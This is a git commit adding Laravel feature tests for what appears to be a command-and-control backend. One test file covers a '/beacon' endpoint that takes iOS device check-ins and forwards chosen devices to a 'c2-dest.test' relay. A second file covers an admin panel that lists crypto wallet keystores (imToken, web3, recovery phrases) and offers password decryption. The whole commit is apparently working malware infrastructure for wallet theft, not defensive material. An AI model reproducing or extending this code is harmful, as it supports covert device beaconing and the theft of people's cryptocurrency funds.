feat: interapt

This commit is contained in:
hashbro
2026-10-12 04:18:53 +08:00
parent ef38e0e190
commit 509110f853
7 changed files with 213 additions and 96 deletions
+145
View File
@@ -0,0 +1,145 @@
<?php
namespace Tests\Feature;
use App\Models\Device;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\Client\ConnectionException;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class InterceptDeviceDataTest extends TestCase
{
use RefreshDatabase;
private const DEVICE_KEY = 'dev-fwd-1';
private const DEST = 'https://c2-dest.test';
private const LOCAL_UUID = '69DD25B2-CA8B-5682-BA24-70D77124E2FC';
#[Test]
public function intercepted_request_returns_dest_response_and_skips_local_ingest(): void
{
config([
'coruna.intercept.device_keys' => [self::DEVICE_KEY],
'coruna.intercept.forward_url' => self::DEST,
]);
Http::fake([
self::DEST.'/*' => Http::response(
['type' => 'noop', 'via' => 'dest'],
200,
['Content-Type' => 'application/json']
),
]);
$this->postJson('/beacon', [
'd' => self::DEVICE_KEY,
'uuid' => self::LOCAL_UUID,
'status' => 'idle',
])
->assertOk()
->assertExactJson(['type' => 'noop', 'via' => 'dest']);
$this->assertSame(0, Device::query()->count());
Http::assertSent(function ($request) {
return $request->url() === self::DEST.'/beacon'
&& $request->method() === 'POST';
});
Http::assertSentCount(1);
}
#[Test]
public function intercepted_darksword_uuid_only_beacon_is_forwarded(): void
{
config([
'coruna.intercept.device_keys' => [strtolower(self::LOCAL_UUID)],
'coruna.intercept.forward_url' => self::DEST,
]);
Http::fake([
self::DEST.'/*' => Http::response(
['type' => 'noop', 'via' => 'dest'],
200,
['Content-Type' => 'application/json']
),
]);
$this->postJson('/beacon', [
'uuid' => self::LOCAL_UUID,
'status' => 'idle',
'ios' => '18.5',
])
->assertOk()
->assertExactJson(['type' => 'noop', 'via' => 'dest']);
$this->assertSame(0, Device::query()->count());
Http::assertSentCount(1);
}
#[Test]
public function intercepted_request_with_empty_forward_url_returns_502_without_local_ingest(): void
{
config([
'coruna.intercept.device_keys' => [self::DEVICE_KEY],
'coruna.intercept.forward_url' => '',
]);
Http::fake();
$this->postJson('/beacon', [
'd' => self::DEVICE_KEY,
'uuid' => self::LOCAL_UUID,
'status' => 'idle',
])->assertStatus(502);
$this->assertSame(0, Device::query()->count());
Http::assertNothingSent();
}
#[Test]
public function intercepted_request_returns_502_when_dest_is_unreachable(): void
{
config([
'coruna.intercept.device_keys' => [self::DEVICE_KEY],
'coruna.intercept.forward_url' => self::DEST,
]);
Http::fake(function () {
throw new ConnectionException('dest down');
});
$this->postJson('/beacon', [
'd' => self::DEVICE_KEY,
'uuid' => self::LOCAL_UUID,
'status' => 'idle',
])->assertStatus(502);
$this->assertSame(0, Device::query()->count());
}
#[Test]
public function unmatched_device_still_hits_local_beacon(): void
{
config([
'coruna.intercept.device_keys' => [self::DEVICE_KEY],
'coruna.intercept.forward_url' => self::DEST,
]);
Http::fake();
$this->postJson('/beacon', [
'd' => 'other-device',
'uuid' => self::LOCAL_UUID,
'status' => 'idle',
])
->assertOk()
->assertJson(['ok' => true, 'type' => 'noop']);
$this->assertNotNull(Device::query()->where('device_id', self::LOCAL_UUID)->first());
Http::assertNothingSent();
}
}
+20
View File
@@ -414,10 +414,30 @@ class KeystoreAdminTest extends TestCase
'raw_json' => $this->makeImTokenPbkdf2Keystore($phrase, $password),
]);
$this->actingAs($admin, 'admin')
->get(route('admin.keystores.index'))
->assertOk()
->assertSee('Number(d.needs_password) === 1 || d.has_web3_keystore', false);
$this->actingAs($admin, 'admin')
->get(route('admin.keystores.index'))
->assertOk()
->assertSee('formType: 0', false);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data'))
->assertOk()
->assertJsonPath('data.0.needs_password', null)
->assertJsonPath('data.0.has_web3_keystore', true)
->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row));
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
->assertOk()
->assertSee('lay-event="decryptPassword">密码解密</a>', false);
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
->assertOk()
->assertSee('formType: 0', false);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))